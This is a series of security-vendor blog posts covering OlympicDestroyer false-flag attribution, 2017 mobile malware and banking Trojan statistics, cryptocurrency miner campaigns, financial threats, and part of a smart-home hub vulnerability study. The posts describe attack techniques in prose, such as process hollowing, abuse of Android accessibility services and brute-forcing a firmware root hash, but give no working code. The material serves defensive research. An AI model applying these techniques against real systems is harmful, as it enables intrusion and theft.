There is also a high level of similarity between Lazarus and OlympicDestroyer. There are modules in both campaigns that used the same technique to decrypt a payload in memory using a secret password provided via a command line. Lazarus used this in their malware loaders (Recorded Future also mentions a similarity in malware loader code) to protect their backdoor modules from reverse engineering as they contained some default C2 information.

Despite the resemblance in the method, there are significant differences in its usage:

  1. Lazarus used long and reliable alphanumeric passwords (30+ characters long). OlympicDestroyer on the contrary used a very simple password: “123”.
  2. Lazarus never hardcoded its passwords for protected payloads into the malware body. OlympicDestroyer on the contrary hardcoded it (there was actually no other way, because the worm had to spread itself and run fully autonomously). That’s why the whole idea of using password-protected payloads in the network worm looks ridiculous, and we believe it’s unlikely an actor such as Lazarus would implement techniques like that considering their previous TTPs.

The possibility of North Korean involvement looked way off mark, especially since Kim Jong-un’s own sister attended the opening ceremony in Pyeongchang. According to our forensic findings, the attack was started immediately before the official opening ceremony on 9 February, 2018.

What we discovered next brought a big shock. Using our own in-house malware similarity system we have discovered a unique pattern that linked Olympic Destroyer to Lazarus. A combination of certain code development environment features stored in executable files, known as Rich header, may be used as a fingerprint identifying the malware authors and their projects in some cases. In case of Olympic Destroyer wiper sample analyzed by Kaspersky Lab this “fingerprint” gave a 100% match with previously known Lazarus malware components and zero overlap with any other clean or malicious file known to date to Kaspersky Lab.

Yet the motives and other inconsistencies with Lazarus TTPs made some of our researchers skeptically revisit that rare artefact. With another careful look into these evidence and manual verification of each feature we discovered that the set of features doesn’t match the actual code. At that moment it became clear that the set of features was simply forged to perfectly match the fingerprint used by Lazarus. Considering that this is not very well explored area in malware analysis and attribution, we decided to share some more information on how we proved in a dedicate blogpost with some deep technical details.

We also noticed that there exists a wiper module with original Rich header and it was uploaded to VirusTotal from France where one of the victims (Atos) is located. The compilation timestamp was 2018-02-09 10:42:19 which is almost 2 hours after attack in Pyeongchang ski resorts started. It’s unclear what went wrong but it looks like the attackers rushed to modify the worm’s wiper component, so that it immediately disabled system services and rebooted the machine instead of waiting for 60 minutes. They seem to wanted immediate results as there were just minutes before the official opening ceremony started.

Considering all of the above it it now looks like a very sophisticated false flag which was placed inside the malware intentionally in order to give threat hunter impression that they found a smoking gun evidence, knocking them of the trail to the accurate attribution.


What conclusions can we draw from this?

It really depends on how clever the attacker behind this campaign is.

If Lazarus was the smartest of all, then they could have crafted a sophisticated false flag that would be hard to discover, requiring even more sophistication to prove it’s a forgery. However, the level of researcher sophistication is something that’s difficult for attackers to gauge. The level of complexity we’re talking about would definitely reduce reliability and couldn’t guarantee that everything went to plan. In addition, Lazarus had no rational motive to conduct this attack, not to mention TTPs that obviously weren’t theirs.

Speaking of TTPs, we have seen attackers using NordVPN and MonoVM hosting. Both services are available for bitcoins, which make them the perfect tool for APT actors. This and several other TTPs have in the past been used by the Sofacy APT group, a widely known Russian-language threat actor. A year ago we published our research about the Lazarus APT group using false flags in attacks against banks around the world that pointed to a Russian origin. Was it payback from Russian-speaking Sofacy or was it someone else trying to frame Sofacy? The muddied waters of this case mean we are yet to get a clear answer.

There are some open questions about the attacker’s motivation in this story. We know that the attackers had administrative accounts in the affected networks. By deleting backups and destroying all local data they could have easily devastated the Olympic infrastructure. Instead, they decided to do some “light” destruction: wiping files on Windows shares, resetting event logs, deleting backups, disabling Windows services and rebooting systems into an unbootable state. When you add in the multiple similarities to TTPs used by other actors and malware, intentional false flags and relatively good opsec, it merely raises more questions as to the purpose of all this.

As we see it, these are some of the possible motives behind the attack:

  1. Demonstration of power/skills in the context of a secret communication that we’re unaware of. The potential for full-blown, highly destructive cybersabotage might be a strong argument in top-secret political negotiations.
  2. Testing of destructive worm capability, but with lower impact to avoid too much attention from potential investigators and general public (in case of human error or operational failure).
  3. Trap threat intel researchers in a field of false flags and, based on their responses, learn how to implement the perfect false flag.

The last option makes sense when you consider that the malware contained a wiper that wasn’t used to wipe its own components – the authors wanted it to be discovered.

For a powerful attacker learning how to reliably craft false flags and trick researchers into attributing the attack to someone else can mean gaining the ultimate cover – total immunity against attribution. But this kind of rocket science requires real-life experiments.

We think the carefully orchestrated OlympicDestroyer campaign played a very important role that will shape APT research in the future. While it didn’t fully sabotage the Winter Olympic games in Pyeongchang, its effects were noticed not only in South Korea but also in Europe. Most importantly, it brings with it a potential threat to the attribution process, undermining trust in intel research findings.

There’s a lesson to be taken from this attack that’s useful for all of us in threat intelligence – don’t rush with attribution. This is a very delicate subject that should be handled with great care. We as an industry shouldn’t sacrifice the accuracy of our research to opportunistically promote business.

Known OlympicDestroyer executables


Mobile malware evolution 2017

Wed, 03/07/2018 - 05:00

The year in figures

In 2017, Kaspersky Lab detected the following:

  • 5,730,916 malicious installation packages
  • 94,368 mobile banking Trojans
  • 544,107 mobile ransomware Trojans
Trends of the year Rooting malware: no surrender

For the last few years, rooting malware has been the biggest threat to Android users. These Trojans are difficult to detect, boast an array of capabilities, and have been very popular among cybercriminals. Their main goal is to show victims as many ads as possible and to silently install and launch the apps that are advertised. In some cases, the aggressive display of pop-up ads and delays in executing user commands can render a device unusable.

Rooting malware usually tries to gain super-user rights by exploiting system vulnerabilities that allow it to do almost anything. It installs modules in system folders, thus protecting them from removal. In some cases – Ztorg, for example – even resetting the device to factory settings won’t get rid of the malware. It’s worth noting that this Trojan was also distributed via the Google Play Store – we found almost 100 apps there infected by various Ztorg modifications. One of them had even been installed more than a million times (according to store statistics).

Another example is Trojan.AndroidOS.Dvmap.a. This Trojan uses root rights to inject its malicious code into the system runtime libraries. It was also distributed via the Google Play Store and has been downloaded more than 50,000 times.

System library infected by Trojan.AndroidOS.Dvmap.a

The number of users attacked by rooting malware in 2017 decreased compared to the previous year. However, this threat is still among the most popular types of malware – almost half the Trojans in our Top 20 rating belong to families that can get root privileges. The decrease in their popularity among cybercriminals was most probably due a decline in the number of devices running older versions of Android – the malware’s main targets. According to Kaspersky Lab data, the percentage of users with devices running Android 5.0 or older declined from more than 85% in 2016 to 57% in 2017, while the proportion of Android 6.0 (or newer) users more than doubled – 21% in 2016 compared to 50% in 2017 (6% of users updated their devices during 2016, 7% – during 2017). Newer versions of Android don’t yet have common vulnerabilities that allow super-user rights to be gained, which is disrupting the activity of rooting malware.

Ztorg family Trojans were distributed via the Google Play Store and actively advertised

But the decline in popularity doesn’t mean the developers have completely given up on these Trojans. There are some that continue to flood devices with ads, downloading and initializing installation of various apps, only now without exploiting vulnerabilities to obtain super-user rights. Moreover, they’re still difficult to remove thanks to a variety of system features, such as device administrator capabilities.

Of course, during the year, the attackers tried to modify or change the capabilities of their Trojans in order to preserve and increase profits. In particular, we discovered the Ztorg family using a new money-making scheme that involved sending paid text messages. Two of them, detected by Kaspersky Lab products as Trojan-SMS.AndroidOS.Ztorg.a, were downloaded from the Google Play Store tens of thousands of times. Moreover, we discovered additional modules for ‘standard’ Ztorg family Trojans that could not only send paid text messages but also steal money from a user’s account by clicking on sites with WAP subscriptions. To do this, the Trojans used a special JS file, downloaded from the criminals’ servers.

Trojan-SMS.AndroidOS.Ztorg.a in Google Play Store

The return of the WAP clickers

It wasn’t just the creators of rooting malware that were attracted to WAP billing – in 2017, we discovered lots of new WAP Trojans. Although this behavior cannot be called new – Trojan-SMS.AndroidOS.Podec has been around since 2015 – 2017 was the year that saw a growth in the number of WAP clickers.

The user sees a standard interface, while Trojan-Clicker.AndroidOS.Xafekopy steals money.

These Trojans generally work in the following way: they receive a list of links from the C&C, follow them (usually unnoticed by the user) and ‘click’ on page elements using a specially created JS file. In some cases, the malware visits regular advertising pages (i.e., they steal money from advertisers, rather than from the user); in other cases, they visit pages with WAP subscriptions, with the money being taken from the user’s mobile account.

Part of the JS file used by Trojan-Clicker.AndroidOS.Xafekopy to click a button

A page with WAP billing usually redirects to a mobile operator page where the user confirms they agree to pay for the services. However, this doesn’t stop the Trojans – they are able to click these pages as well. They can even intercept and delete SMSs sent by mobile operators containing information about the service costs.

The dynamic development of mobile banking Trojans

Mobile bankers were also actively evolving throughout the whole of 2017, offering new ways to steal money. We discovered a modification of the FakeToken mobile banker that attacked not only financial apps but also apps for booking taxis, hotels, tickets, etc. The Trojan overlays the apps’ interfaces with its own phishing window where a user is asked to enter their bank card details. It’s worth noting that these actions appear quite normal to the user: the targeted apps are designed to make payments and are therefore likely to request this sort of data.

Code of Trojan-Banker.AndroidOS.Faketoken.q

The latest versions of Android OS include lots of different tools designed to prevent malware from performing malicious actions. However, banking Trojans are constantly looking for ways to bypass these new restrictions, and in 2017 we saw some striking examples of this. In July, we discovered a new modification capable of granting itself the necessary permissions. The Trojan gets round these restrictions by using accessibility services – Android functions designed to create applications for users with disabilities. The Trojan asks the victim for permission to use accessibility services and grants itself some dynamic permissions that include the ability to send and receive SMSs, make calls, and read contacts. The Trojan also adds itself to the list of device administrators, thereby preventing uninstallation. It can also steal data that the user enters into other apps, i.e. operates as a keylogger.

Svpeng added itself to the list of device administrators

In August, we came across yet another representative of the Svpeng mobile malware family that used accessibility services. This modification had a different goal – it blocked the device, encrypted the user’s files and demanded a ransom in bitcoins. demands a ransom

The rise and fall of mobile ransomware programs

The first half of 2017 was marked by a rapid growth in the number of new installation packages for mobile Trojan ransomware – in just six months we detected 1.6 times more files than in the whole of 2016. However, from June 2017, the statistics returned to normal. Interestingly, the growth was triggered by just one family – Ransom.AndroidOS.Congur. Over 83% of all installation packages for mobile Trojan ransomware detected in 2017 belonged to this family. Basically, this is extremely simple malware that changes (or sets) the PIN code on the device and asks the owner to contact the attackers via the QQ messenger.


Throughout the year mobile ransomware remained both simple and effective, with its capabilities and techniques almost unchanged: it overlaid all other windows with its own window, blocking the operation of the device. It should be noted that two popular mobile banking families – Svpeng and Faketoken – acquired modifications capable of encrypting user files, though in general encryptor functionality wasn’t that popular among mobile Trojans.


In 2017, Kaspersky Lab detected 5,730,916 mobile malicious installation packages, which is almost 1.5 times fewer than in the previous year, although more than in any other year before and almost twice as much as in 2015.

Despite the decrease in the number of detected malicious installation packages, in 2017 we registered a growing number of mobile malware attacks – 42.7 million vs. 40 million in 2016.

Number of attacks blocked by Kaspersky Lab products in 2017

The number of attacked users also continued to rise – from the beginning of January until the end of December 2017, Kaspersky Lab protected 4,909,900 unique users of Android devices, which is 1.2 times more than in 2016.

Number of users protected by Kaspersky Lab products in 2017

Geography of mobile threats

Attacks by malicious mobile software were registered in more than 230 countries and territories.

Geography of mobile threats by number of attacked users, 2017

Top 10 countries attacked by mobile malware (by percentage of users attacked):

Country* %** 1 Iran 57.25 2 Bangladesh 42.76 3 Indonesia 41.14 4 Algeria 38.22 5 Nigeria 38.11 6 China 37.63 7 Côte d’Ivoire 37.12 8 India 36.42 9 Nepal 34.03 10 Kenya 33.20

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

Iran (57.25%), which was second in our Top 10 in 2016, came first after switching places with Bangladesh. In 2017, more than half of our mobile product users in Iran encountered mobile malware. The most widespread were advertising programs of the Ewind family, as well as Trojans of the Trojan.AndroidOS.Hiddapp family.

In second-placed Bangladesh (42.76%), users were most frequently attacked by adware, as well as by, a malicious program capable of stealing a user’s money by making calls to premium numbers.

In every country of this rating the most popular malicious programs were those monetized primarily through advertising. Notably, the most popular mobile malware in India (36.42%), which came eighth in the rating, was AdWare.AndroidOS.Agent.n. This malware can click on web pages, primarily advertising sites, without the user’s knowledge and earning money for ‘displaying’ adverts to the user. Other popular malware in India included Trojans from the Loapi families, which also earned money by clicking on web pages.

Types of mobile malware

In 2017, we decided to include a Trojan-Clicker category in this rating due to the active development and growing popularity of these types of malicious programs. Previously it belonged to the ‘Other’ category.

Distribution of new mobile malware by type in 2016 and 2017

Most significantly, compared to the previous year, was the growth in detections of new Trojan-Ransom malware (+5.2 percentage points), which even outstripped the growth shown by RiskTool (+4.4 p.p.). To recap, RiskTool (47.7%) demonstrated the highest growth in 2016, with its share increasing by 24 p.p. during the year.

For the third year in a row, the percentage of Trojan-SMS installation packages declined, from 11% to 4.5%. As in 2016, this was the most considerable fall.

Trojan-Dropper malware, whose contribution grew throughout 2016, demonstrated a 2.8 p.p. decrease in the number of installation packages in 2017.

TOP 20 mobile malware programs

Please note that this rating of malicious programs does not include potentially dangerous or unwanted programs such as RiskTool or AdWare.

Verdict %* 1 DangerousObject.Multi.Generic 66.99% 2 Trojan.AndroidOS.Boogr.gsh 10.63% 3 4.36% 4 Trojan-Dropper.AndroidOS.Hqwar.i 3.32% 5 Backdoor.AndroidOS.Ztorg.a 2.50% 6 Backdoor.AndroidOS.Ztorg.c 2.42% 7 Trojan.AndroidOS.Sivu.c 2.35% 8 Trojan.AndroidOS.Hiddad.pac 1.83% 9 Trojan.AndroidOS.Hiddad.v 1.67% 10 Trojan-Dropper.AndroidOS.Agent.hb 1.63% 11 1.58% 12 Trojan-Banker.AndroidOS.Svpeng.q 1.55% 13 1.53% 14 1.49% 15 Trojan.AndroidOS.Loapi.b 1.46% 16 Trojan.AndroidOS.Hiddapp.u 1.39% 17 Trojan.AndroidOS.Agent.rx 1.36% 18 Trojan.AndroidOS.Triada.dl 1.33% 19 Trojan.AndroidOS.Iop.c 1.31% 20 Trojan-Dropper.AndroidOS.Hqwar.gen 1.29%

* Percentage of users attacked by the malware in question, relative to all users of Kaspersky Lab’s mobile security product that were attacked.

As in previous years, first place was occupied by DangerousObject.Multi.Generic (66.99%), the verdict used for malicious programs that are detected using cloud technologies. These technologies are helpful when antivirus databases don’t yet include signatures or heuristics to detect a malicious program. This is basically how the very latest malware is detected.

Trojan.AndroidOS.Boogr.gsh (10.63%) came second. This verdict is given to files recognized as malicious by our system based on machine learning. In 2017, the most popular Trojans detected with this verdict were advertising Trojans and Trojan-Clickers. (4.36%) was third. It poses as a popular game or program and its main purpose is the aggressive display of adverts. Its main ‘audience’ is in Russia. Once launched, downloads the application it imitates, and upon installation requests administrator rights to prevent its removal.

Occupying fourth was Trojan-Dropper.AndroidOS.Hqwar.i (3.32%), the verdict used for Trojans protected by a specific packer/obfuscator. In most cases, this name indicates representatives of the Asacub, FakeToken and Svpeng mobile banking families. Yet another verdict by which this packer is detected – Trojan-Dropper.AndroidOS.Hqwar.gen (1.29%) – was in 20th place.

Fifth and sixth were representatives of the Backdoor.AndroidOS.Ztorg family – advertising Trojans using super-user rights to install various applications and to prevent their removal. In 2016, a representative of this family climbed as high as second in our rating. It is worth noting that in 2017 the rating included 12 advertising Trojans – the same as in 2015, but less than in 2016.

Trojan-Dropper.AndroidOS.Agent.hb malware (1.63%) was 10th in the rating. This Trojan decrypts and runs another Trojan from the Loaipi family, which has a representative in fifth (Trojan.AndroidOS.Loapi.b). This is a complex modular malicious program whose functionality depends on the modules that it downloads from the attacker’s server. Our research has shown that their arsenal has modules for sending paid text messages, mining crypto currencies and clicking on sites with WAP subscriptions.

Trojan-Banker.AndroidOS.Svpeng.q, the most popular mobile banking Trojan in 2016, came 12th. Cybercriminals distributed it via the advertising network AdSense. This Trojan uses phishing windows to steal bank card data and also attacks SMS-banking systems.

In 14th place was, which steals money from users by making calls to premium numbers. It uses device administrator rights to prevent it from being removed.

Mobile banking Trojans

In 2017, we detected 94,368 installation packages for mobile banking Trojans, which is 1.3 times less than in the previous year.

Number of installation packages for mobile banking Trojans detected by Kaspersky Lab solutions in 2017

In 2017, mobile banking Trojans attacked 259,828 users in 164 countries.

Geography of mobile banking threats (percentage of all users attacked, 2017)

Top 10 countries attacked by mobile banker Trojans (ranked by percentage of users attacked):

Country* %** 1 Russia 2.44 2 Australia 1.14 3 Turkey 1.01 4 Uzbekistan 0.95 5 Kazakhstan 0.68 6 Tajikistan 0.59 7 Moldova 0.56 8 Ukraine 0.52 9 Latvia 0.51 10 Belarus 0.40

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

The top 10 countries attacked by mobile banker Trojans in 2017 saw a slight change: South Korea and China left the rating while Turkey and Latvia took their place.

As in the previous year, Russia topped the ranking, with 2.44% of users in that country encountering mobile banking Trojans in 2017. The most popular families were Asacub, Svpeng and Faketoken.

In Australia (1.14%), representatives of the Acecard and Marcher mobile banking families were the most widespread threats. In third-placed Turkey the most active families of mobile bankers were Gugi and Asacub.

In the other countries of the Top 10, the Faketoken and Svpeng mobile banking families were the most widespread. In particular, a representative of the Svpeng family – Trojan-Banker.AndroidOS.Svpeng.q – became the most popular mobile banking Trojan for the second year in a row. It was encountered by almost 20% of all users attacked by mobile bankers in 2017. The most popular mobile banking family of 2017 was Asacub. Its representatives attacked almost every third user affected by mobile bankers.

Mobile ransomware

The number of detected mobile Trojan-Ransomware installation packages continued to grow in 2017. We discovered 544,107 packages, which was double the figure for 2016, and 17 times more than in 2015.

This growth was largely due to activity by the Trojan-Ransom.AndroidOS.Congur family. By Q4, the Congur family had ceased to actively generate new installation packages, which was immediately reflected in the statistics.

Number of mobile Trojan-Ransomware installation packages detected by Kaspersky Lab (Q1 2017 – Q4 2017)

Throughout 2017, Kaspersky Lab’s security products protected 110,184 users in 161 countries from mobile ransomware.

Geography of mobile Trojan-Ransomware in 2017 (percentage of all users attacked)

Top 10 countries attacked by mobile Trojan-Ransomware (ranked by percentage of users attacked):

Country* %** 1 USA 2.01 2 Kazakhstan 1.35 3 Belgium 0.98 4 Italy 0.98 5 Korea 0.76 6 Poland 0.75 7 Canada 0.71 8 Mexico 0.70 9 Germany 0.70 10 Romania 0.55

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country by mobile Trojan-Ransomware, relative to all users of Kaspersky Lab’s mobile security product in the country.

The country attacked most by ransomware in 2017 was the US, where 2% of users encountered this threat. As in the previous year, when the US came second in the ranking, the most popular Trojan ransomware were representatives of the Trojan-Ransom.AndroidOS.Svpeng family. Then, Germany was in first place, though in 2017, a decrease in activity by the Trojan-Ransom.AndroidOS.Fusob family saw it (0.70%) drop to ninth in the rating. The Fusob family still remained the most active in Germany.

In Kazakhstan (1.35%), which came second, the most frequently used ransomware programs were various modifications of the Trojan-Ransom.AndroidOS.Small family. Fifth place in the rating was occupied by South Korea (0.76%), where most users were attacked by the Trojan-Ransom.AndroidOS.Congur family. In all the other countries of the Top 10, the Fusob and Zebt families were the most active.


For the last few years, advertising Trojans have been one of the main threats facing Android users. First, they are very widespread, accounting for more than half of the entries in our ratings. Secondly, they are dangerous, with many exploiting system vulnerabilities to gain root privileges. The Trojans can then get full control of a system and, for example, install their modules in system folders to prevent their removal. In some cases, even resetting the device to factory settings is not enough to get rid of the rooting malware.

However, the vulnerabilities that allow attackers to gain super-user rights are only found on older devices, and their share is declining. As a result, advertising Trojans are increasingly confronted with devices on which they cannot gain a foothold. This means the user has the chance to get rid of this malware once it starts aggressively displaying ads or installing new applications. This is probably why we are now seeing more and more advertising Trojans that don’t show ads to the user; instead, they click on them, helping their owners earn money from advertisers. The user may not even notice this behavior because the only telltale signs of infection are increased traffic and battery use.

Trojans that target WAP billing sites use similar techniques. They receive a list of links from the C&C, follow them and ‘click’ on page elements using a JS file received from the malicious server. The main difference is that they click not only advertising links but on WAP billing sites as well, which results in the theft of money from the user’s mobile account. This type of attack has been around for several years now, but it was only in 2017 that these Trojans appeared in significant numbers, and we assume this trend will continue in 2018.

In 2017, we discovered several modular Trojans that steal money via WAP billing as one of their monetization methods. Some of them also had modules for crypto-currency mining. The rise in price of crypto currency makes mining a more profitable business, although the performance of mobile devices is not that good. Mining results in rapid battery consumption, and in some cases even device failure. We also discovered several new Trojans posing as useful applications, but which were actually mining crypto currency on an infected device. If the rise of crypto currency continues in 2018, we’ll most probably see lots of new miners.

Mining is the new black

Mon, 03/05/2018 - 05:00

Last year we published a story revealing the rise of miners across the globe. At the time we had discovered botnets earning millions of USD. We knew this was just the beginning of the story, which turned out to develop rapidly.

Together with the rest of the world, we have been watching the hike in cryptocurrency, for example, the price of Bitcoin and Altcoins continuously beat records throughout 2017.

Bitcoin and Altcoins prices growth in 2017

While some spend time talking about what’s good or bad for the market and the global economy, we’ve seen that such a spike in prices was definitely a call for threat actors, meaning there are good opportunities for cybercriminals to earn money.

As a result, many cybercriminal groups have switched to malicious miner distribution, and the number of users that have encountered cryptocurrency miners has increased dramatically. We have found, that by the end of 2017, 2.7 million users had been attacked by malicious miners – this is almost 1.5 times higher than in 2016 (1.87 mln).

Number of Kaspersky Lab users attacked by malicious miners in 2017

They become so active and popular that even ransomware – which has frightened the world for the last couple of years, seems to step aside for this threat.

Here are some reasons why:

Firstly, miners and ransomware both have a clear monetization model. In the case of ransomware, attackers infect PCs, decrypt files and earn money by receiving a ransom for users’ data. The miners model is similar in its simplicity: attackers infect victims, make coins using CPU or GPU power, and earn real money through legal exchanges and transactions.

Miners’ monetization scheme

Secondly, unlike ransomware, it is very hard for users to understand if they’ve been infected by miners or not. In general, users use their computer for Internet surfing. This activity is not high loaded for CPU. The other 70-80% of CPU power is used by mining programs, and some of them have special functions to reduce mining capacities or cancel the process at all, if another resource-demanding program (for example, a videogame) is executed.

Most importantly, it is now very easy to make your own miner. Those interested can get everything that they need:

  • Ready to use partner programs
  • Open mining pools
  • A lot of miner builders

We have found that the most popular miner pool used by threat actors is Nanopool.

Statistics for used legitimate pools

Also, according to our data, 80% of illegal miners contain the open source code of legal miners, or it is just a legal miner that has been packed.

Ways of spreading

Usually, threat actors collaborate with potentially unwanted application (PUA) partner programs to spread miners. However, some small criminal groups try to spread malware by using different social engineering tricks, such as fake lotteries, etc. Potential victims need to download a generator of random numbers from a file-sharing service and run this on a PC to participate. It’s a simple trick, but a very productive one.

Another popular method is web-mining through a special script being executed in browser. For example, in 2017 our security solutions stopped the launch of web miners on more than 70 million occasions. The most popular script used by cybercriminals is Coinhive, and usual cases of its use in the wild are websites with a lot of traffic. The longer the user session on those sites, the more money the site’s owner earned from mining. Major incidents involving Coinhive are hacked web pages, such as the Pirate Bay case, YouTube ads or UFC fight pass mining. However, other examples of its legal use are also known.

There are other groups, which do not need to spread miners to many people. Instead, their targets are powerful servers in big companies. Thus, for instance, Wannamine was spreading in internal networks using an EternalBlue exploit, and earned nine thousand Monero this way (approx. two million dollars). However, the first miner that used the EternalBlue exploit was Adylkuzz. In our previous research we described another miner family – Winder – that has used an extra service to restore a miner when it was being deleted by an AV product. That botnet earned a half million dollars.

Sophisticated techniques

This year we are observing the next trend – threat actors behind miners have begun to use malware techniques from targeted attacks. Our latest discovery is the “hollow” miner that uses a process-hollowing technique.

In this case the infection vector is a PUA module. A victim may have just wanted to download a legitimate application, but instead they downloaded a PUA with a miner installer inside. This miner installer drops the legitimate Windows utility msiexec with a random name, which downloads and executes a malicious module from the remote server. In the next step it installs a malicious scheduler task which drops the miner’s body. This body executes the legitimate system process and uses a process-hollowing technique (legitimate process code is changed to malicious). Also, a special flag, system critical flag, is set to this new process. If a victim tries to kill this process, the Windows system will reboot. So, it is a challenge for security solutions to deal with such malicious behavior and detect the threat properly.

Infection chain

Process hollowing example

Via this scheme, criminals have been mining Electroneum coins, and during the second half of 2017 they earned over seven million dollars.

Multipool wallet information

Also this year, we found one threat group that has been targeting big organizations with the main purpose to utilize their computer resources for mining. After getting into a corporate network they get access to the domain controller, and as a result they use domain policies to launch malicious code. In this particular case, actors executed malicious PowerShell script on each endpoint and server inside the corporate network.

Malicious powershell script

This script has the following logic:

  • After launching, it checks if this endpoint belongs to specific accounts, i.e. senior levels or information security officers. If it is true, then the script won’t execute the miner.
  • This script also checks current date and time information. It will execute the malicious miner in non-working time.
So what’s next?

Should we expect a further evolution in this class of malware? For sure. Moreover, we will see a spread in malware that uses new blockchain technologies. One of the recent and very promising technologies is the blockchain-based proof-of-space (PoSpace) concept.

Unlike proof-of-work (PoW) used in general mining botnets, a PoSpace algorithm needs a hard disk space. Therefore, a new type of miners based on this algorithm will be aiming first of all at big data servers.

On the one hand, monetization in this case is like that in usual malware miners with a PoW algorithm. On the other, this technology can provide cybercriminals with another profit. The blockchain on the PoS algorithm is a very big decentralized anonymous data center that can be used to spread malware or illegal content. As a result, it can bring more damage. Data will be encrypted and no one will know where it is physically stored.

Mining scheme based on proof-of-concept algorithm

To protect your network against such threats we advise you:

  • Conduct a security audit on a regular basis
  • Use security solutions on endpoints and servers

Kaspersky Lab products detect such threats with various verdicts.

  • PDM:Trojan.Win32.Generic
  • not-a-virus:RiskTool.Win32.BitCoinMiner
  • HEUR:Trojan.Win32.CoinMiner

Financial Cyberthreats in 2017

Wed, 02/28/2018 - 05:00

In 2017, we saw a number of changes to the world of financial threats and new actors emerging. As we have previously noted, fraud attacks in financial services have become increasingly account-centric. User data is a key enabler for large-scale fraud attacks, and frequent data breaches – among other successful attack types – have provided cybercriminals with valuable sources of personal information to use in account takeovers or false identity attacks. These account-centric attacks can result in many other losses, including those of further customer data and trust, so mitigation is as important as ever for both businesses and financial services customers.

Attacks on ATMs continued to rise in 2017, attracting the attention of many cybercriminals, with attackers targeting bank infrastructure and payment systems using sophisticated fileless malware, as well as the more rudimentary methods of taping over CCTVs and drilling holes. In 2017, Kaspersky Lab researchers uncovered, among other things, attacks on ATM systems that involved new malwareremote operations, and an ATM-targeting malware called ‘Cutlet Maker’ that was being sold openly on the DarkNet market for a few thousand dollars, along with a step-by-step user guide. Kaspersky Lab has published a report outlining possible future ATM attack scenarios targeting ATM authentication systems.

It is also worth mentioning that major cyber incidents continue to take place. In September 2017, Kaspersky Lab researchers identified a new series of targeted attacks against at least 10 financial organizations in multiple regions, including Russia, Armenia, and Malaysia. The hits were performed by a new group called Silence. While stealing funds from its victims, Silence implemented specific techniques similar to the infamous threat actor, Carbanak.

Thus, Silence joins the ranks of the most devastating and complex cyber-robbery operations like Metel, GCMAN and Carbanak/Cobalt, which have succeeded in stealing millions of dollars from financial organizations. The interesting point to note with this actor is that the criminals exploit the infrastructure of already infected financial institutions for new attacks: sending emails from real employee addresses to a new victim, along with a request to open a bank account. Using this trick, criminals make sure the recipient doesn’t suspect the infection vector.

Small and medium-sized businesses didn’t escape financial threats either. Last year Kaspersky Lab’s researchers discovered a new botnet that cashes-in on aggressive advertising, mostly in Germany and the US. Criminals infect their victims’ computers with the Magala Trojan Clicker, generating fake ad views, and making up to $350 from each machine. Small enterprises lose out most because they end up doing business with unscrupulous advertisers, without even knowing it.

Moving down one more step – from SMEs to individual users – we can say that 2017 didn’t give the latter much respite from financial threats. Kaspersky Lab researchers detected NukeBot – a new malware designed to steal the credentials of online banking customers. Earlier versions of the Trojan were known to the security industry as TinyNuke, but they lacked the features necessary to launch attacks. The latest versions however, are fully operable, and contain code to target the users of specific banks.

This report summarizes a series of Kaspersky Lab reports that between them provide an overview of how the financial threat landscape has evolved over the years. It covers the common phishing threats that users encounter, along with Windows-based and Android-based financial malware.

The key findings of the report are:

  • In 2017, the share of financial phishing increased from 47.5% to almost 54% of all phishing detections. This is an all-time high, according to Kaspersky Lab statistics for financial phishing.
  • More than one in four attempts to load a phishing page blocked by Kaspersky Lab products is related to banking phishing.
  • The share of phishing related to payment systems and online shops accounted for almost 16% and 11% respectively in 2017. This is slightly more (single percentage points) than in 2016.
  • The share of financial phishing encountered by Mac users nearly doubled, accounting for almost 56%.
Banking malware:
  • In 2017, the number of users attacked with banking Trojans was 767,072, a decrease of 30% on 2016 (1,088,900).
  • 19% of users attacked with banking malware were corporate users.
  • Users in Germany, Russia, China, India, Vietnam, Brazil and the US were the most often attacked by banking malware.
  • Zbot is still the most widespread banking malware family (almost 33% of attacked users), but is now being challenged by the Gozi family (27.8%).
Android banking malware:
  • In 2017, the number of users that encountered Android banking malware decreased by almost 15% to 259,828 worldwide.
  • Just three banking malware families accounted for attacks on the vast majority of users (over 70%).
  • Russia, Australia and Turkmenistan were the countries with the highest percentage of users attacked by Android banking malware.

 Read the full “Financial Cyberthreats in 2017” report (English, PDF)

IoT hack: how to break a smart home… again

Tue, 02/27/2018 - 05:00

There can never be too many IoT gadgets – that’s what people usually think when buying yet another connected device with advanced functionality. From our perspective, we also think there can’t be too many IoT investigations. So, we have continued our experiments into checking and uncovering how vulnerable they are, and followed up our research focusing on smart home devices.

Researchers have already been analyzing connected devices for many years, but concerns around cybersecurity in the IoT world are still there, putting users under significant risk. In our previous analysis, possible attack vectors affecting both a device and a network to which it’s connected have been discovered. This time, we’ve chosen a smart hub designed to control sensors and devices installed at home. It can be used for different purposes, such as energy and water management, monitoring and even security systems.

This tiny box receives information from all the devices connected to it, and if something happens or goes wrong, it immediately notifies its user via phone, SMS or email in accordance with its preferences. An interesting thing is that it is also possible to connect the hub to local emergency services, thus alerts will be sent to them accordingly. So, what if someone was able to interrupt this smart home’s system and gain control over home controllers? It could turn life into a nightmare not only for its user, but also for the emergency services. We decided to check a hypothesis and as a result discovered logical vulnerabilities providing cybercriminals with several attack vectors opportunities.

Physical access

First, we decided to check what could be available for exploitation by an attacker being outside of the network. We discovered that the hub’s firmware is available publicly and can be downloaded without any subscription from the vendor’s servers. Therefore, once downloading it, anyone can easily revise the files inside it and analyze them.

We found that the password from the root account in the shadow file is encrypted with the Data Encryption Standard (DES) algorithm. As practice shows, this cryptographic algorithm is not considered to be secure or highly resistant to hacking, and therefore it is possible for an attacker to successfully obtain the hash through brute-force and find out the ‘root’ password.

To access the hub with ‘root’ rights and therefore modify files or execute different commands, physical access is needed. However, we don’t neglect the hardware hacking of devices and not all of them survive afterwards.

We explored the device physically, but of course not everyone would be able to do this. However, our further analysis showed there are other options to gain remote access over it.

Remote access

For hub control, users can either use a special mobile application or a web-portal through which they can set up a personal configuration and check all the connected systems.

To implement it, the owner sends a command for synchronization with the hub. At that moment, all settings are packed in the config.jar file, which the hub then downloads and implements.

